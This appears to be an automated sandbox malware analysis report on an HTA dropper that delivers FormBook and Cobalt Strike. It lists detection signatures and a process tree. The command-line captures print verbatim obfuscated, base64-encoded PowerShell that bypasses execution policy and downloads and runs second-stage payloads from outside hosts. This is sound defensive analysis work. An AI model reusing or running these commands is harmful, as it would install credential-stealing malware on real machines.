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Windows
Analysis Report
bestimylover.hta
Overview
General Information
Detection
Cobalt Strike, FormBook, HTMLPhisher
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Detected Cobalt Strike Beacon
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
Yara detected HtmlPhish44
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
AI detected suspicious sample
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
PowerShell case anomaly found
Queues an APC in another process (thread injection)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: AspNetCompiler Execution
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 4080 cmdline:
mshta.exe "C:\Users\ user\Deskt op\bestimy lover.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - cmd.exe (PID: 3532 cmdline:
"C:\Window s\system32 \cmd.exe" "/c pOwers HeLL -ex b YpASS -NoP -w 1 -c DeVIce CrEDeNTIAL DEPLOyMent ; iNvoKe- EXpRESSioN ($(inVoKe- ExPRESsIOn ('[sySTEm. teXT.eNcoD Ing]'+[cha R]0x3A+[Ch AR]58+'uTF 8.GEtSTriN g([SysTeM. CoNVERt]'+ [cHar]58+[ CHAr]58+'f ROMBaSE64S TRiNG('+[C hAr]0x22+' JDM4TDVlal pXSUdyICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICA9 ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBhZEQtVH lQZSAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLU1F TWJFcmRlRk lOSXRJb24g ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICdbRGxsSW 1wb3J0KCJV UkxNb24iLC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgQ2hhclNl dCA9IENoYX JTZXQuVW5p Y29kZSldcH VibGljIHN0 YXRpYyBleH Rlcm4gSW50 UHRyIFVSTE Rvd25sb2Fk VG9GaWxlKE ludFB0ciAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg Z3JKcHosc3 RyaW5nICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBO QSxzdHJpbm cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIG1NeSx1 aW50ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICBWY0 9oeUxjTklo VSxJbnRQdH IgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIHNJTnQp OycgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1uQW 1FICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAiUGV6 TWJGd0JaZi IgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIC1uYU1F U1BBQ2UgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIH pGY3FXayAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LVBhc3NUaH J1OyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgJDM4 TDVlalpXSU dyOjpVUkxE b3dubG9hZF RvRmlsZSgw LCJodHRwOi 8vMTA3LjE3 Mi40NC4xNz UvMjQ0L25p Z2h0cmlkaW 5naXNyZWFs bHluaWNlZm 9yd29ya2lu Z3NraWxsZW 50aXJldGlt ZWZvcm5ldy 50aUZGIiwi JGVuVjpBUF BEQVRBXG5p Z2h0cmlkaW 5naXNyZWFs bHluaWNlZm 9yd29ya2lu Z3NraWxsZW 50aXJldGlt ZWZvcm4udm JTIiwwLDAp O3NUQXJ0LX NMZWVwKDMp O0lJICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAiJG VudjpBUFBE QVRBXG5pZ2 h0cmlkaW5n aXNyZWFsbH luaWNlZm9y d29ya2luZ3 NraWxsZW50 aXJldGltZW Zvcm4udmJT Ig=='+[cHA r]34+'))') ))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 6704 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6772 cmdline:
pOwersHeLL -ex bYpA SS -N oP -w 1 -c DeVIceCrE DeNTIALDEP LOyMent ; iNvoKe-EXp RESSioN($( inVoKe-ExP RESsIOn('[ sySTEm.teX T.eNcoDIng ]'+[chaR]0 x3A+[ChAR] 58+'uTF8.G EtSTriNg([ SysTeM.CoN VERt]'+[cH ar]58+[CHA r]58+'fROM BaSE64STRi NG('+[ChAr ]0x22+'JDM 4TDVlalpXS UdyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICA9ICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB hZEQtVHlQZ SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgLU1FTWJ FcmRlRklOS XRJb24gICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICd bRGxsSW1wb 3J0KCJVUkx Nb24iLCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgQ 2hhclNldCA 9IENoYXJTZ XQuVW5pY29 kZSldcHVib GljIHN0YXR pYyBleHRlc m4gSW50UHR yIFVSTERvd 25sb2FkVG9 GaWxlKElud FB0ciAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgZ3J KcHosc3Rya W5nICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBOQSx zdHJpbmcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI G1NeSx1aW5 0ICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBWY09oe UxjTkloVSx JbnRQdHIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI HNJTnQpOyc gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIC1uQW1FI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAiUGV6TWJ Gd0JaZiIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI C1uYU1FU1B BQ2UgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIHpGY 3FXayAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLVB hc3NUaHJ1O yAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJDM4TDV lalpXSUdyO jpVUkxEb3d ubG9hZFRvR mlsZSgwLCJ odHRwOi8vM TA3LjE3Mi4 0NC4xNzUvM jQ0L25pZ2h 0cmlkaW5na XNyZWFsbHl uaWNlZm9yd 29ya2luZ3N raWxsZW50a XJldGltZWZ vcm5ldy50a UZGIiwiJGV uVjpBUFBEQ VRBXG5pZ2h 0cmlkaW5na XNyZWFsbHl uaWNlZm9yd 29ya2luZ3N raWxsZW50a XJldGltZWZ vcm4udmJTI iwwLDApO3N UQXJ0LXNMZ WVwKDMpO0l JICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAiJGVud jpBUFBEQVR BXG5pZ2h0c mlkaW5naXN yZWFsbHlua WNlZm9yd29 ya2luZ3Nra WxsZW50aXJ ldGltZWZvc m4udmJTIg= ='+[cHAr]3 4+'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 6884 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\hfoj0pnm \hfoj0pnm. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 6340 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S66CD.tmp" "c:\Users \user\AppD ata\Local\ Temp\hfoj0 pnm\CSC102 A1040D3F84 A7CBD6AF35 F51E7FDEF. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - wscript.exe (PID: 3780 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\night ridingisre allynicefo rworkingsk illentiret imeforn.vb S" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 6364 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $familial = 'JHNlcmV uYWRlID0gJ 2h0dHBzOi8 vcmVzLmNsb 3VkaW5hcnk uY29tL2R5d GZsdDYxbi9 pbWFnZS91c GxvYWQvdjE 3MzMxMzQ5N DcvYmtscHl zZXlldXQ0a W1wdzUwbjE uanBnICc7J GZ1Z3VzID0 gTmV3LU9ia mVjdCBTeXN 0ZW0uTmV0L ldlYkNsaWV udDskYm94a WVyID0gJGZ 1Z3VzLkRvd 25sb2FkRGF 0YSgkc2VyZ W5hZGUpOyR wYXJ0aWN1b GFyaXplID0 gW1N5c3Rlb S5UZXh0LkV uY29kaW5nX To6VVRGOC5 HZXRTdHJpb mcoJGJveGl lcik7JHBsY WlubmVzcyA 9ICc8PEJBU 0U2NF9TVEF SVD4+Jzskc mF0dGxlYm9 4ZXMgPSAnP DxCQVNFNjR fRU5EPj4nO yRzdXBlcnB yb2ZpdCA9I CRwYXJ0aWN 1bGFyaXplL kluZGV4T2Y oJHBsYWlub mVzcyk7JGN hbnRpbGxhd GluZyA9ICR wYXJ0aWN1b GFyaXplLkl uZGV4T2YoJ HJhdHRsZWJ veGVzKTskc 3VwZXJwcm9 maXQgLWdlI DAgLWFuZCA kY2FudGlsb GF0aW5nIC1 ndCAkc3VwZ XJwcm9maXQ 7JHN1cGVyc HJvZml0ICs 9ICRwbGFpb m5lc3MuTGV uZ3RoOyR1b mZyZWVkID0 gJGNhbnRpb GxhdGluZyA tICRzdXBlc nByb2ZpdDs kdmluY2FzI D0gJHBhcnR pY3VsYXJpe mUuU3Vic3R yaW5nKCRzd XBlcnByb2Z pdCwgJHVuZ nJlZWQpOyR wcm9ib3Nja WRpYW4gPSA tam9pbiAoJ HZpbmNhcy5 Ub0NoYXJBc nJheSgpIHw gRm9yRWFja C1PYmplY3Q geyAkXyB9K VstMS4uLSg kdmluY2FzL kxlbmd0aCl dOyRrb21vb mRvciA9IFt TeXN0ZW0uQ 29udmVydF0 6OkZyb21CY XNlNjRTdHJ pbmcoJHByb 2Jvc2NpZGl hbik7JG51c nNlcnltYW4 gPSBbU3lzd GVtLlJlZmx lY3Rpb24uQ XNzZW1ibHl dOjpMb2FkK CRrb21vbmR vcik7JGdhc m5pZXJpdGU gPSBbZG5sa WIuSU8uSG9 tZV0uR2V0T WV0aG9kKCd WQUknKTskZ 2Fybmllcml 0ZS5JbnZva 2UoJG51bGw sIEAoJ3R4d C5GREdGUi8 0NDIvNTcxL jQ0LjI3MS4 3MDEvLzpwd HRoJywgJyR zYXlzdCcsI Cckc2F5c3Q nLCAnJHNhe XN0JywgJ2F zcG5ldF9jb 21waWxlcic sICckc2F5c 3QnLCAnJHN heXN0JywnJ HNheXN0Jyw nJHNheXN0J ywnJHNheXN 0JywnJHNhe XN0JywnJHN heXN0JywnM ScsJyRzYXl zdCcpKTs=' ;$monophth ongs = [Sy stem.Text. Encoding]: :UTF8.GetS tring([Sys tem.Conver t]::FromBa se64String ($familial ));Invoke- Expression $monophth ongs MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 4080 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - aspnet_compiler.exe (PID: 7380 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_compil er.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2) - aspnet_compiler.exe (PID: 7388 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_compil er.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2) - HDLzkMKGEKBh.exe (PID: 2856 cmdline:
"C:\Progra m Files (x 86)\jUNEQW DieJNjpKeE nQjcaTVCbR oYdKlVACJf KLmyhnZTcu jySKMhMUlE DsxRiIVRgT YWoZbCH\HD LzkMKGEKBh .exe" MD5: 32B8AD6ECA9094891E792631BAEA9717) - msinfo32.exe (PID: 7604 cmdline:
"C:\Window s\SysWOW64 \msinfo32. exe" MD5: 5C49B7B55D4AF40DB1047E08484D6656) - HDLzkMKGEKBh.exe (PID: 60 cmdline:
"C:\Progra m Files (x 86)\jUNEQW DieJNjpKeE nQjcaTVCbR oYdKlVACJf KLmyhnZTcu jySKMhMUlE DsxRiIVRgT YWoZbCH\HD LzkMKGEKBh .exe" MD5: 32B8AD6ECA9094891E792631BAEA9717) - firefox.exe (PID: 7908 cmdline:
"C:\Progra m Files\Mo zilla Fire fox\Firefo x.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Formbook, Formbo | FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware. |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Click to see the 4 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |